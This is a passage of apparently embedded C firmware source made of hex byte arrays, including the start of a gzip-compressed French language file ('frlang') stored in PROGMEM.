0x68, 0x75, 0xaa, 0x32, 0x38, 0x66, 0xd7, 0x33, 0x16, 0x90, 0xb9, 0xc5, 0x14, 0x58, 0x71, 0x08, 0xfb, 0x81, 0x09, 0xb8, 0xc6, 0x51, 0x0a, 0x28, 0x60, 0x11, 0x57, 0x39, 0x14, 0x86, 0xba, 0x87, 0x8f, 0xa5, 0xd1, 0x38, 0x82, 0x4f, 0x07, 0x14, 0x40, 0x53, 0xc9, 0x11, 0xbe, 0xce, 0xb5, 0x46, 0x71, 0xe2, 0xad, 0xa4, 0x20, 0xdd, 0x62, 0x4b, 0x4a, 0xbd, 0xbe, 0x20, 0xa3, 0x04, 0x0d, 0x17, 0x87, 0xc8, 0x0b, 0xaf, 0x18, 0xae, 0x21, 0x12, 0x7a, 0xd0, 0x0a, 0xb1, 0x0d, 0x05, 0x0f, 0x20, 0xd2, 0xb0, 0x71, 0x51, 0x38, 0x2d, 0x85, 0x84, 0x66, 0x81, 0xbc, 0xeb, 0x1f, 0x18, 0x2d, 0x17, 0x95, 0x1d, 0x62, 0x4a, 0xa5, 0x57, 0x04, 0x2e, 0x15, 0x62, 0x89, 0xec, 0xc4, 0xe9, 0x3b, 0xcd, 0xb7, 0x13, 0xed, 0x06, 0xd7, 0x23, 0x21, 0x2d, 0x23, 0x53, 0x43, 0x20, 0x9f, 0xcd, 0x45, 0x56, 0xe5, 0x93, 0x61, 0xe2, 0x90, 0x6b, 0x77, 0xbe, 0xd9, 0x8b, 0x72, 0xb4, 0x33, 0x50, 0x07, 0x47, 0x67, 0x73, 0xea, 0x6c, 0xc7, 0xde, 0x32, 0xb5, 0xd1, 0x5d, 0xda, 0x0c, 0xed, 0xd1, 0xef, 0xd2, 0x7c, 0xb7, 0x5a, 0x6c, 0xf3, 0x6b, 0x2c, 0x29, 0x71, 0x28, 0xb8, 0x25, 0x7e, 0x45, 0xf5, 0x8c, 0x1b, 0xde, 0xb7, 0xc5, 0x22, 0x1c, 0x1b, 0x74, 0x32, 0xe5, 0x96, 0x05, 0x90, 0x06, 0xf7, 0x9c, 0xfb, 0x96, 0x3c, 0x2f, 0xe3, 0x8a, 0x4a, 0xaf, 0x05, 0xca, 0x6a, 0x7c, 0x2d, 0xbd, 0x4f, 0x83, 0x43, 0x62, 0xb6, 0x68, 0xab, 0x1f, 0xb0, 0xa1, 0xc3, 0xa2, 0x52, 0x3d, 0x0e, 0xb1, 0xac, 0x69, 0xeb, 0x76, 0xdb, 0x58, 0x53, 0x97, 0x23, 0x19, 0xd9, 0xc6, 0xec, 0x68, 0x86, 0x20, 0xd7, 0x52, 0x38, 0x61, 0xbd, 0xce, 0xa1, 0x2e, 0x49, 0x5a, 0x9b, 0x10, 0x7c, 0x98, 0xa8, 0xad, 0x84, 0x63, 0xb9, 0x15, 0xae, 0x02, 0x98, 0xe7, 0x1a, 0x04, 0x5f, 0xf8, 0x07, 0xc5, 0xb5, 0x91, 0x94, 0x0e, 0x16, 0x85, 0x06, 0x35, 0xc9, 0x26, 0x98, 0x8a, 0xcc, 0xb5, 0xea, 0x02, 0xb3, 0xa5, 0xda, 0x2c, 0xbb, 0xf5, 0x1a, 0x37, 0x9a, 0x16, 0x9c, 0x0a, 0x69, 0x01, 0xe0, 0xdf, 0x32, 0xe6, 0xdc, 0x5f, 0xde, 0xdd, 0xab, 0xef, 0xd4, 0xfc, 0xfe, 0xe3, 0xed, 0x61, 0xba, 0x9f, 0xc9, 0x43, 0x65, 0x6d, 0x5e, 0xb3, 0xb3, 0x2b, 0xbb, 0x40, 0xea, 0x32, 0xf5, 0xa3, 0xea, 0xf4, 0x11, 0xdf, 0x02, 0x90, 0x64, 0x27, 0x01, 0x47, 0xfe, 0x92, 0x41, 0x58, 0x54, 0xc6, 0xe8, 0x83, 0x86, 0x8c, 0xa3, 0x1c, 0x5d, 0x04, 0xdc, 0xc2, 0xb7, 0x34, 0x75, 0xcd, 0x03, 0xea, 0x8e, 0x07, 0xd4, 0x07, 0x5f, 0x9b, 0x52, 0xc8, 0x8e, 0x16, 0x5e, 0xc9, 0xc8, 0x93, 0x95, 0xb2, 0x62, 0x41, 0xb4, 0x6b, 0x20, 0x8f, 0xe9, 0x89, 0xac, 0x6c, 0xb1, 0x92, 0xe1, 0xc5, 0x38, 0x43, 0x51, 0x40, 0x5e, 0x95, 0x99, 0x41, 0xda, 0x22, 0xb0, 0xd4, 0xda, 0x3e, 0x22, 0xa4, 0x0b, 0x58, 0x4e, 0x73, 0x65, 0xa0, 0x28, 0xed, 0xa5, 0xbf, 0xa3, 0x2c, 0x88, 0xb9, 0x96, 0xf7, 0xa9, 0x00, 0x0f, 0xb2, 0x31, 0x72, 0x01, 0x52, 0xcb, 0x3d, 0xbc, 0xe2, 0x6a, 0xca, 0x0b, 0xd9, 0x0f, 0x6a, 0x62, 0x85, 0xd6, 0x16, 0x96, 0x08, 0x7d, 0x74, 0x85, 0xb5, 0xa0, 0x36, 0x1e, 0x27, 0x0a, 0xc3, 0x44, 0x96, 0x12, 0x89, 0x29, 0x62, 0x28, 0xad, 0x0b, 0xd6, 0x23, 0x8e, 0x18, 0x69, 0xf0, 0xbf, 0x10, 0x29, 0x0f, 0x20, 0xa2, 0x8b, 0x2e, 0x4d, 0xa5, 0x81, 0x38, 0x50, 0xbf, 0x01, 0x93, 0x84, 0x26, 0x65, 0xb7, 0x70, 0x3c, 0x9a, 0x22, 0x6d, 0x85, 0x7f, 0xee, 0x4e, 0x2f, 0xce, 0xce, 0xfe, 0x70, 0x60, 0xa1, 0x1c, 0xba, 0x70, 0x27, 0x80, 0x46, 0xf8, 0x51, 0xca, 0x37, 0x2a, 0x4c, 0x98, 0x99, 0xd4, 0x20, 0xd1, 0x32, 0x44, 0xb2, 0x0a, 0x3d, 0x4e, 0xf6, 0x10, 0xa9, 0x3e, 0x15, 0x34, 0xca, 0x73, 0x6d, 0xd7, 0x24, 0xbb, 0x6d, 0xca, 0x82, 0xcc, 0xb4, 0x42, 0xe7, 0x08, 0xd8, 0x6b, 0x4b, 0x07, 0xd3, 0x85, 0x73, 0x3d, 0x17, 0x23, 0x70, 0x18, 0xb2, 0xce, 0x72, 0x2e, 0x93, 0x47, 0x46, 0x6d, 0xe4, 0x64, 0xf5, 0x40, 0x07, 0x83, 0xd2, 0x01, 0x39, 0x41, 0x92, 0x76, 0x28, 0x18, 0x58, 0xca, 0xc8, 0x34, 0x94, 0xb1, 0x2f, 0xd0, 0x07, 0x6a, 0x46, 0x13, 0xd5, 0x18, 0xed, 0x85, 0xf3, 0x1e, 0xd5, 0x92, 0x92, 0xa9, 0x82, 0x33, 0xbd, 0xc7, 0xdf, 0x0a, 0xec, 0x08, 0x8a, 0x48, 0x6a, 0x33, 0xc0, 0x93, 0x03, 0x6b, 0x94, 0xda, 0x64, 0xc9, 0xf8, 0x43, 0x57, 0xa2, 0xcd, 0xd8, 0x33, 0x21, 0xb5, 0xae, 0xf3, 0x5d, 0x6c, 0x0e, 0xc1, 0xb0, 0x1c, 0xcb, 0x02, 0x2b, 0x3d, 0x5c, 0x8e, 0x53, 0xba, 0xb1, 0x00, 0x15, 0x52, 0xbe, 0x02, 0x59, 0x23, 0x28, 0x00, 0x5f, 0x90, 0xd0, 0x2a, 0x9d, 0x08, 0xb4, 0x24, 0x98, 0xa4, 0x82, 0x41, 0x8c, 0xd3, 0xae, 0xf6, 0xc2, 0xe1, 0x64, 0x5a, 0x39, 0x0e, 0x2e, 0x26, 0x78, 0x19, 0xd8, 0xf9, 0x4e, 0x0c, 0x98, 0xfd, 0x95, 0x6e, 0x19, 0x3e, 0xb9, 0xbd, 0x88, 0xf9, 0x4a, 0x91, 0xdc, 0x80, 0xb0, 0x3d, 0x8a, 0x40, 0xba, 0x64, 0x7c, 0x50, 0x16, 0x08, 0xa5, 0x1e, 0xdc, 0xa0, 0x23, 0xa2, 0x38, 0x74, 0x46, 0x87, 0xe5, 0x7e, 0x2a, 0x2d, 0xd4, 0x20, 0x50, 0xb8, 0xde, 0x78, 0xb7, 0xa2, 0xd0, 0x63, 0xdd, 0x53, 0xa0, 0x0b, 0x07, 0xce, 0x0b, 0x88, 0x23, 0x4b, 0x10, 0x4a, 0xf5, 0xcd, 0x55, 0x4f, 0xbf, 0xe5, 0x46, 0xf6, 0xd0, 0x3a, 0xf5, 0x09, 0x3a, 0xa5, 0x96, 0xeb, 0x5b, 0xba, 0x19, 0x99, 0x08, 0x26, 0xed, 0x4b, 0x79, 0x34, 0x86, 0xdb, 0x25, 0xdb, 0xc2, 0xac, 0x7c, 0x87, 0xa1, 0x2a, 0x44, 0xfe, 0x05, 0x9b, 0x37, 0x04, 0xf0, 0xf9, 0xc8, 0xe9, 0xb0, 0x0a, 0x2c, 0xe0, 0xc4, 0x68, 0x85, 0x29, 0xff, 0x4d, 0x3e, 0x95, 0x50, 0x22, 0x38, 0x67, 0x6a, 0xa6, 0xea, 0xf1, 0x62, 0x7a, 0x56, 0xd2, 0x2f, 0xef, 0x91, 0x1e, 0x92, 0x92, 0x60, 0x69, 0x32, 0xea, 0xf7, 0x3a, 0x47, 0x9c, 0x56, 0x11, 0x3c, 0xd4, 0x66, 0x7c, 0x0e, 0x31, 0x87, 0x13, 0x95, 0x09, 0x33, 0xa3, 0xfe, 0x20, 0x6a, 0xc6, 0xac, 0x61, 0x4c, 0x72, 0x5e, 0xc2, 0xfe, 0x82, 0x9b, 0xf5, 0x2b, 0x56, 0x84, 0xba, 0x3f, 0xb7, 0xc6, 0xcd, 0xda, 0x0e, 0x39, 0xba, 0x34, 0x7d, 0x2a, 0x9c, 0x73, 0xf4, 0xbf, 0x3e, 0x1f, 0x12, 0x88, 0x91, 0x0e, 0x5b, 0x1d, 0x23, 0x2c, 0xc0, 0x64, 0xf2, 0x36, 0x7f, 0xff, 0x36, 0xaa, 0xbc, 0xf9, 0x7f, 0xaa, 0x0c, 0x48, 0xfc, 0x95, 0x59, 0x69, 0x20, 0x85, 0x44, 0x4b, 0x1e, 0x97, 0xa8, 0x28, 0x74, 0x6a, 0x44, 0x36, 0xc6, 0x72, 0x36, 0xb6, 0xae, 0x0d, 0x7b, 0xef, 0x4f, 0xb6, 0xce, 0xd8, 0x3c, 0xba, 0xce, 0x48, 0xd0, 0xaf, 0xb8, 0xd6, 0x58, 0x4b, 0xbd, 0x4d, 0x28, 0x0b, 0xb7, 0x3e, 0x24, 0xe1, 0xcf, 0x52, 0x5f, 0xe8, 0x15, 0x81, 0x27, 0x70, 0x06, 0xcd, 0x48, 0xdf, 0x36, 0x3c, 0xf5, 0xeb, 0x22, 0x51, 0x10, 0x7c, 0x21, 0xfe, 0x45, 0x1a, 0x8d, 0x51, 0x37, 0x57, 0x11, 0xbf, 0xc8, 0xdd, 0x2f, 0xe7, 0xef, 0x24, 0xe7, 0x62, 0xce, 0x6c, 0x06, 0xc8, 0xcc, 0x52, 0x9e, 0x97, 0x5a, 0xfa, 0x0f, 0xe6, 0xf9, 0xa5, 0x96, 0x89, 0x7a, 0xc7, 0x67, 0x20, 0x60, 0x5b, 0xa4, 0x10, 0x00, 0x0c, 0xe9, 0x5a, 0x1f, 0xc9, 0x43, 0x01, 0x46, 0x9b, 0xbc, 0x1f, 0x2a, 0x99, 0x87, 0x06, 0x90, 0xf9, 0xdc, 0x0e, 0x3a, 0x18, 0xc8, 0x36, 0xd0, 0x41, 0xe5, 0x03, 0x32, 0xf1, 0xdc, 0x6d, 0x6c, 0x25, 0xd4, 0xac, 0x08, 0x3c, 0x74, 0x04, 0xec, 0x67, 0xeb, 0x10, 0x2f, 0xb0, 0x2d, 0x05, 0x98, 0x57, 0x99, 0x09, 0x8c, 0x37, 0xc8, 0x19, 0x13, 0xb2, 0x05, 0x21, 0x28, 0x10, 0xe7, 0xec, 0x28, 0xd9, 0x98, 0x15, 0x0d, 0xb5, 0xcf, 0x3c, 0x69, 0x88, 0xf7, 0x0c, 0x29, 0x54, 0x15, 0xda, 0x16, 0x08, 0x4d, 0x70, 0xeb, 0x59, 0x56, 0x39, 0xd2, 0xa6, 0x17, 0xcf, 0x08, 0xbd, 0xae, 0x36, 0x7e, 0x28, 0xd8, 0xe0, 0x37, 0x1b, 0xd8, 0x10, 0x9f, 0xb7, 0x0e, 0xe2, 0xc8, 0xba, 0x70, 0x57, 0xd4, 0x6b, 0xd4, 0x4a, 0xe0, 0x4b, 0x3e, 0x7c, 0xac, 0x22, 0x42, 0x70, 0x28, 0x66, 0x5c, 0x8c, 0x8e, 0x57, 0xce, 0xb7, 0xa8, 0x96, 0x71, 0xb8, 0x7e, 0x7e, 0x3b, 0x7b, 0xff, 0x7e, 0x2e, 0x9e, 0x05, 0x0e, 0xd2, 0xf6, 0x95, 0xc5, 0xc4, 0x78, 0x6b, 0x23, 0x8d, 0x63, 0xd9, 0x44, 0x46, 0x7c, 0x79, 0xf7, 0xd3, 0xdb, 0x57, 0xdc, 0x97, 0xad, 0x50, 0x64, 0xc0, 0x60, 0xc7, 0x3b, 0x5a, 0xfd, 0xa5, 0xda, 0xd0, 0x9e, 0x0f, 0xfa, 0xcb, 0xf4, 0x90, 0x8d, 0x5e, 0xda, 0x28, 0xef, 0x08, 0xf0, 0xe7, 0xea, 0x8f, 0xea, 0xfc, 0x7c, 0xa2, 0xae, 0x7f, 0xa6, 0x8f, 0xd7, 0x13, 0xf5, 0x67, 0x8d, 0xa6, 0x9d, 0xbe, 0x7f, 0x7f, 0x2c, 0xac, 0xba, 0xbc, 0x65, 0x61, 0x97, 0xef, 0x50, 0x2f, 0xeb, 0x40, 0x09, 0x32, 0x4a, 0xc4, 0x51, 0xd2, 0x10, 0x55, 0x3b, 0x3c, 0x76, 0xc1, 0x1b, 0x99, 0x5d, 0xd3, 0xc2, 0xa1, 0x04, 0x46, 0x7e, 0xc6, 0xdf, 0x60, 0x10, 0x10, 0x95, 0x44, 0x07, 0x5b, 0x8f, 0x1e, 0x0e, 0x47, 0x4b, 0x37, 0xc6, 0x0d, 0x0e, 0x3a, 0x9c, 0x43, 0x90, 0x90, 0x13, 0xf4, 0x89, 0xce, 0xf3, 0xf4, 0x3f, 0x75, 0x2e, 0x8d, 0xe5, 0x6f, 0xa9, 0xee, 0xf0, 0x8c, 0xaf, 0xaa, 0x5a, 0x6d, 0x46, 0xe9, 0xce, 0x2f, 0x9e, 0xf0, 0x12, 0xf7, 0x75, 0xc4, 0xcb, 0x8a, 0xf7, 0xf2, 0x53, 0xe0, 0xda, 0xd3, 0x44, 0x26, 0x3f, 0xe8, 0x37, 0xd2, 0x31, 0x04, 0xa0, 0x23, 0x27, 0x2d, 0x01, 0x5d, 0x65, 0xe7, 0xc6, 0x6f, 0xb7, 0x8c, 0x15, 0xf1, 0x2b, 0x68, 0x86, 0x58, 0xbf, 0x62, 0x8e, 0xcb, 0xc1, 0xf9, 0xc1, 0x3a, 0xdb, 0x76, 0x6d, 0x2e, 0xa0, 0x42, 0x47, 0x9f, 0x27, 0xc0, 0x82, 0xe8, 0x45, 0xd9, 0xe4, 0x73, 0x19, 0x65, 0xd5, 0x28, 0x36, 0x29, 0x0d, 0xa5, 0x43, 0x6c, 0x9f, 0x54, 0x52, 0x29, 0xee, 0xe9, 0x00, 0x34, 0x97, 0x19, 0x58, 0x60, 0x7b, 0xdd, 0xd2, 0xf3, 0x27, 0xbf, 0x46, 0x92, 0x49, 0x5e, 0x1e, 0xe0, 0xe7, 0xd5, 0x80, 0x54, 0x66, 0xee, 0x80, 0xf6, 0xe6, 0x00, 0x8b, 0xf4, 0xc2, 0x09, 0x6f, 0xce, 0x0f, 0x90, 0x32, 0xc6, 0x82, 0xb1, 0x0e, 0x30, 0x68, 0x65, 0x32, 0x93, 0xe3, 0xe2, 0xe3, 0x77, 0xe8, 0x09, 0x41, 0x44, 0x70, 0x80, 0x69, 0xb7, 0x29, 0x4a, 0xef, 0x0b, 0xbc, 0xce, 0x8f, 0x8f, 0xbc, 0x34, 0xcb, 0x67, 0x8a, 0x02, 0x5c, 0xee, 0x8c, 0xda, 0xa0, 0xb9, 0x86, 0xee, 0x56, 0xde, 0x4a, 0x77, 0xf4, 0x82, 0xcd, 0xbd, 0xc1, 0xc6, 0x9a, 0x47, 0x73, 0x78, 0x0a, 0x1c, 0x74, 0xb1, 0xd2, 0xac, 0x2c, 0xbb, 0xb8, 0x27, 0xea, 0xa6, 0x21, 0xf2, 0x2d, 0x3c, 0x8d, 0xcf, 0x55, 0xd7, 0x88, 0xe4, 0x9e, 0xa5, 0xf8, 0xae, 0xa9, 0xa5, 0x53, 0x95, 0x8e, 0x9b, 0x2b, 0x49, 0x6c, 0xfc, 0x8e, 0x7c, 0x93, 0x5f, 0x12, 0x3b, 0xf0, 0x7c, 0xba, 0x21, 0xe4, 0x20, 0xe3, 0xb3, 0x56, 0x10, 0x72, 0xf1, 0xfd, 0xf7, 0x63, 0xf4, 0x13, 0x77, 0x44, 0x7a, 0xce, 0x64, 0x36, 0x3f, 0xba, 0xf5, 0x13, 0x37, 0xf3, 0x03, 0x37, 0x6c, 0x17, 0xa3, 0xaf, 0xec, 0xc8, 0xf3, 0x3d, 0xdf, 0x24, 0xc3, 0xf4, 0xb8, 0x29, 0x32, 0xa7, 0xcf, 0x9c, 0x78, 0x87, 0xec, 0x12, 0x7a, 0x76, 0x2f, 0x6f, 0xce, 0xf8, 0xc5, 0xf4, 0xaa, 0xaf, 0xec, 0x2c, 0x8d, 0xa9, 0xde, 0xe0, 0x61, 0xe1, 0xd0, 0x68, 0xd1, 0x73, 0x2c, 0xcf, 0xe4, 0x17, 0x88, 0x6c, 0x87, 0xdd, 0x66, 0x7f, 0xdc, 0xc8, 0x95, 0xe7, 0xa4, 0x8a, 0xda, 0xbc, 0xa3, 0x5c, 0x13, 0xf2, 0x3e, 0x60, 0x2d, 0xb3, 0xbe, 0xc0, 0x4f, 0x0a, 0x15, 0xa5, 0xf7, 0x6b, 0x7c, 0xe4, 0xa3, 0x9f, 0xef, 0x71, 0x38, 0xf0, 0xd1, 0x02, 0x39, 0x79, 0xa4, 0x2a, 0xcf, 0x1a, 0xd2, 0x63, 0x3d, 0x73, 0xe2, 0x6c, 0xf0, 0x78, 0x87, 0x23, 0xa9, 0xe2, 0xa5, 0xd0, 0x99, 0x49, 0xde, 0x19, 0x7b, 0xa5, 0x7b, 0x9b, 0x22, 0x70, 0xc2, 0x3e, 0x47, 0xfd, 0x54, 0x95, 0x3d, 0xa8, 0x51, 0xba, 0x89, 0x66, 0x72, 0xc0, 0x1e, 0x22, 0x06, 0x65, 0xf3, 0xf9, 0xd9, 0x59, 0x4b, 0xcd, 0xc5, 0x25, 0x1a, 0x11, 0xa4, 0x61, 0x38, 0xac, 0xa0, 0x7f, 0x55, 0x89, 0x12, 0x2a, 0x14, 0x28, 0xb6, 0xa1, 0xe7, 0x6b, 0x7e, 0x84, 0x20, 0xbc, 0x8a, 0x5b, 0xdd, 0xb6, 0x99, 0xb0, 0xe4, 0x6c, 0x80, 0x66, 0x1d, 0xa7, 0x90, 0x84, 0x5f, 0xa2, 0xf0, 0xcb, 0x42, 0x0f, 0x6f, 0x83, 0xd2, 0x68, 0x44, 0x94, 0xac, 0xfc, 0xfc, 0xcd, 0xef, 0x6a, 0x63, 0x54, 0x18, 0x5b, 0x43, 0x7a, 0xf6, 0xfb, 0xbf, 0x0f, 0xcb, 0x99, 0x8c, 0xd9, 0x7f, 0x51, 0x3f, 0x86, 0xef, 0xd8, 0xda, 0xc8, 0xfc, 0x7d, 0xcb, 0x11, 0xce, 0x70, 0x98, 0x5b, 0x2f, 0xb2, 0xcb, 0x93, 0x17, 0xa4, 0xdc, 0x02, 0x65, 0x7f, 0x1d, 0x31, 0x65, 0x5a, 0x11, 0x6f, 0x4d, 0x20, 0x1a, 0x36, 0x0a, 0xf5, 0xe7, 0xf6, 0x1e, 0x82, 0xba, 0x0f, 0x68, 0x7e, 0x87, 0x1b, 0xd7, 0xe2, 0xfc, 0x0f, 0x69, 0x85, 0xee, 0xd2, 0xef, 0x8e, 0x28, 0xc2, 0xb3, 0xa4, 0x54, 0xf2, 0x3a, 0xbf, 0x30, 0x99, 0xc1, 0x62, 0x14, 0x79, 0x65, 0xbe, 0xa0, 0x29, 0x8a, 0x2f, 0x4e, 0xbe, 0xf9, 0xcf, 0x7f, 0x01, 0xd0, 0xa5, 0x32, 0xe0, 0xa5, 0x1b, 0x00, 0x00};\nconst char frlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x66, 0x72, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0xcd, 0x72, 0xdc, 0xc6, 0x11, 0xbe, 0xfb, 0x29, 0x46, 0xbc, 0xac, 0x5d, 0x45, 0x6d, 0x28, 0x39, 0x76, 0x29, 0x4a, 0xe5, 0x40, 0x4b, 0x94, 0x8b, 0x8e, 0x44, 0xb3, 0x48, 0x3a, 0xce, 0x81, 0x55, 0xac, 0x59, 0xec, 0x2c, 0x39, 0x14, 0x30, 0x80, 0x66, 0x80, 0x25, 0xa5, 0x54, 0xaa, 0x7c, 0xcd, 0x23, 0xe4, 0x96, 0x5b, 0x4c, 0x1f, 0xf2, 0x12, 0xfb, 0x26, 0x79, 0x92, 0x7c, 0x5f, 0xf7, 0x00, 0x8b, 0x5d, 0x52, 0x56, 0xa5, 0x92, 0x13, 0x76, 0x81, 0x41, 0x4f, 0xff, 0x7e, 0xfd, 0xf5, 0xe0, 0x2f, 0x9f, 0x19, 0xb3, 0x53, 0xda, 0x70, 0xb9, 0xf3, 0xdc, 0xec, 0x2c, 0xe2, 0xce, 0x2e, 0xff, 0xdf, 0xd8, 0x18, 0xbc, 0xde, 0xda, 0x3f, 0x3b, 0x3b, 0x38, 0x3a, 0x3b, 0xfc, 0xfe, 0x48, 0x9f, 0xcc, 0x7d, 0x2a, 0x4a, 0xeb, 0x2b, 0x17, 0xf9, 0xf0, 0x85, 0x33, 0x4d, 0xac, 0xaf, 0x5d, 0x6b, 0x5c, 0x6a, 0x4d, 0x72, 0x5d, 0xe9, 0x2a, 0x17, 0x5a, 0xb3, 0xfa, 0x87, 0x99, 0x75, 0xb8, 0xdc, 0xcd, 0xbb, 0xc2, 0xb6, 0x7e, 0x61, 0x9c, 0xdc, 0x5b, 0xdd, 0xb5, 0xab, 0x3b, 0x53, 0xd4, 0x61, 0xf5, 0xcf, 0xce, 0x34, 0x75, 0x17, 0x4d, 0x17, 0x64, 0xe1, 0xdc, 0x99, 0xf9, 0xea, 0xae, 0xaa, 0x43, 0x6a, 0x23, 0xd6, 0xd7, 0x61, 0x2d, 0x6b, 0x7a, 0x1e, 0x8e, 0xbc, 0x29, 0x27, 0x07, 0xa7, 0xc7, 0xcf, 0x9e, 0x7e, 0xfd, 0xb5, 0x09, 0xf8, 0xe3, 0xcc, 0xe9, 0xcb, 0x3f, 0x9a, 0xe0, 0x4c, 0xaa, 0xb1, 0x99, 0x0f, 0xbe, 0xf5, 0x36, 0xef, 0xdc, 0xc4, 0xd5, 0xdd, 0xb2, 0x4b, 0x2a, 0xbd, 0x70, 0x6d, 0xeb, 0x4c, 0xd7, 0xfa, 0xd2, 0x27, 0x11, 0x3b, 0x35, 0xdf, 0xda, 0xe8, 0x8c, 0xed, 0x6e, 0xb1, 0xed, 0x65, 0x32, 0x8f, 0xce, 0xc3, 0x79, 0x58, 0xfd, 0x64, 0xc2, 0x44, 0x17, 0xb9, 0x68, 0xde, 0x75, 0x13, 0xbb, 0x74, 0x85, 0x59, 0xd6, 0x2d, 0x56, 0x42, 0x5a, 0x72, 0x16, 0xca, 0x46, 0xbf, 0x84, 0xea, 0x30, 0x23, 0x41, 0xee, 0xb2, 0x4e, 0xb4, 0xbb, 0x89, 0x2e, 0x19, 0xdb, 0x34, 0x10, 0xe9, 0xcb, 0x2c, 0x6c, 0xed, 0x91, 0x2c, 0x11, 0xb6, 0x25, 0x03, 0xab, 0x2a, 0x5c, 0x7e, 0xf4, 0xaf, 0xbc, 0x59, 0xda, 0xd2, 0xcb, 0x3d, 0x57, 0x96, 0xb8, 0xbc, 0xeb, 0xc4, 0xf6, 0x22, 0xfa, 0x16, 0xff, 0xe6, 0x36, 0x24, 0xda, 0x97, 0x5a, 0x1b, 0xe6, 0x36, 0xce, 0xcd, 0xe1, 0xc1, 0xc1, 0x81, 0x79, 0xb6, 0xf7, 0x74, 0xfa, 0xe4, 0xc9, 0xef, 0x8d, 0x35, 0xa1, 0x6e, 0xb3, 0x8e, 0x5d, 0x41, 0xdf, 0x95, 0x75, 0x61, 0x2f, 0x9d, 0xa9, 0x3b, 0x33, 0x8b, 0x75, 0xe7, 0xcb, 0x92, 0xff, 0xc2, 0x84, 0xd1, 0x70, 0x8b, 0x85, 0x2b, 0xda, 0x0e, 0x5a, 0x53, 0x65, 0x6e, 0xb5, 0x80, 0x35, 0xd8, 0x2e, 0x14, 0xf8, 0xad, 0xda, 0xad, 0xee, 0x5c, 0x82, 0x83, 0xff, 0x04, 0xfd, 0x4b, 0xf7, 0x41, 0xc2, 0xe6, 0x5d, 0x30, 0x30, 0x35, 0xfa, 0x85, 0x77, 0xfa, 0x5a, 0x59, 0xfb, 0x64, 0x78, 0xd7, 0x5f, 0x76, 0x0e, 0xa2, 0x44, 0x47, 0x75, 0x4f, 0x63, 0xdf, 0xc3, 0x03, 0x4b, 0x1b, 0x24, 0x84, 0xcb, 0xba, 0x93, 0x85, 0x70, 0xe3, 0xd2, 0xc7, 0x29, 0xdd, 0x71, 0x04, 0x7d, 0x9f, 0x23, 0x0e, 0x70, 0xf8, 0xbb, 0xce, 0x63, 0x7d, 0x2c, 0x9d, 0x2e, 0x2e, 0xd6, 0xa9, 0x13, 0x4c, 0x4b, 0x09, 0xf4, 0xc4, 0xf9, 0x4e, 0xb6, 0x03, 0x1b, 0x9d, 0xef, 0xd0, 0xae, 0xf3, 0x9d, 0x6b, 0x5b, 0x21, 0xdd, 0xf4, 0x1f, 0x85, 0x14, 0x75, 0xe3, 0x29, 0x04, 0x6e, 0x42, 0x2a, 0xb5, 0x2e, 0x74, 0x26, 0x51, 0xa5, 0x05, 0x42, 0x1e, 0x3c, 0xf4, 0x9b, 0xb8, 0xdb, 0xa6, 0xf4, 0x85, 0x44, 0x3c, 0x31, 0x4d, 0x16, 0x75, 0x16, 0x8f, 0x1d, 0xbb, 0xa5, 0x98, 0x05, 0x3b, 0x2a, 0x78, 0xbd, 0x0e, 0xc1, 0xfa, 0x84, 0xd7, 0xa1, 0x8e, 0xba, 0x09, 0x17, 0x2a, 0x85, 0xbd, 0xb8, 0x28, 0x21, 0xbb, 0xb0, 0x83, 0x4a, 0x82, 0xd6, 0x97, 0xab, 0xbb, 0x00, 0xe7, 0x40, 0x84, 0x84, 0xd0, 0xb7, 0x4c, 0x81, 0xa6, 0x6b, 0x6d, 0x81, 0x0d, 0x55, 0x0d, 0xdc, 0x69, 0xe0, 0x78, 0xee, 0x62, 0x35, 0x4b, 0xbc, 0xe6, 0x3d, 0x25, 0xc1, 0x30, 0xc4, 0x84, 0x97, 0x5d, 0x3e, 0x2e, 0xea, 0xaa, 0xea, 0x82, 0xed, 0xf8, 0x98, 0x3b, 0x4e, 0x10, 0xb4, 0x3a, 0xb6, 0xd9, 0x14, 0x4d, 0xe2, 0x7a, 0x06, 0x05, 0xbc, 0x94, 0x4a, 0xe5, 0xd4, 0x33, 0xeb, 0xf4, 0x60, 0x46, 0x89, 0xa3, 0x8f, 0xb9, 0xb4, 0x29, 0x11, 0x80, 0xf9, 0xc4, 0x07, 0x08, 0xa9, 0xb2, 0xf9, 0x63, 0xab, 0x76, 0xa1, 0x5c, 0x98, 0xbb, 0x0f, 0x8f, 0x25, 0x52, 0x78, 0xf2, 0x7c, 0xbb, 0xa8, 0x1f, 0xa3, 0x1a, 0xdb, 0x3a, 0xb0, 0xb6, 0xbf, 0x9b, 0x58, 0x94, 0x5a, 0xb7, 0x4b, 0x25, 0x61, 0x43, 0x62, 0xf2, 0x5f, 0x4f, 0x6c, 0x51, 0xb8, 0x06, 0x45, 0x05, 0x91, 0xad, 0xbb, 0xc5, 0x8f, 0xc2, 0x3f, 0x86, 0x2b, 0x52, 0x97, 0x54, 0x54, 0x74, 0x65, 0x6d, 0xe7, 0x7c, 0xff, 0xc4, 0x2e, 0xa2, 0x5d, 0xfd, 0xab, 0xb8, 0xf2, 0x19, 0x54, 0x52, 0x61, 0x45, 0xf0, 0x29, 0xae, 0xc1, 0xf5, 0x37, 0x93, 0x9f, 0x27, 0xb9, 0x7b, 0x7a, 0xf8, 0x32, 0xcb, 0xb0, 0x2d, 0xfc, 0xf9, 0x56, 0xee, 0xee, 0xe3, 0x27, 0x02, 0x97, 0x1f, 0x24, 0xd4, 0x33, 0x60, 0x49, 0x9e, 0x1c, 0x5b, 0xd4, 0xd4, 0xea, 0x67, 0x06, 0x40, 0x1f, 0xd2, 0x6a, 0x3e, 0x38, 0xe4, 0x75, 0xb8, 0x73, 0x91, 0x1a, 0xdd, 0xf5, 0xf0, 0xe8, 0xd5, 0xf7, 0xb8, 0xe8, 0x06, 0x65, 0xc9, 0x5b, 0x67, 0x75, 0xaf, 0x75, 0x71, 0x45, 0x95, 0xe4, 0xe6, 0x0b, 0x8b, 0x78, 0xdc, 0x66, 0xbf, 0xb8, 0xa5, 0x47, 0xb1, 0x88, 0x22, 0x43, 0x99, 0xbb, 0x10, 0xdd, 0xa5, 0x07, 0x50, 0x01, 0x1a, 0x7a, 0xb5, 0x18, 0xd5, 0x8b, 0xb5, 0x54, 0xa0, 0xc4, 0xea, 0x8e, 0xf7, 0x10, 0x81, 0xc1, 0x52, 0x78, 0xe9, 0xfe, 0x3a, 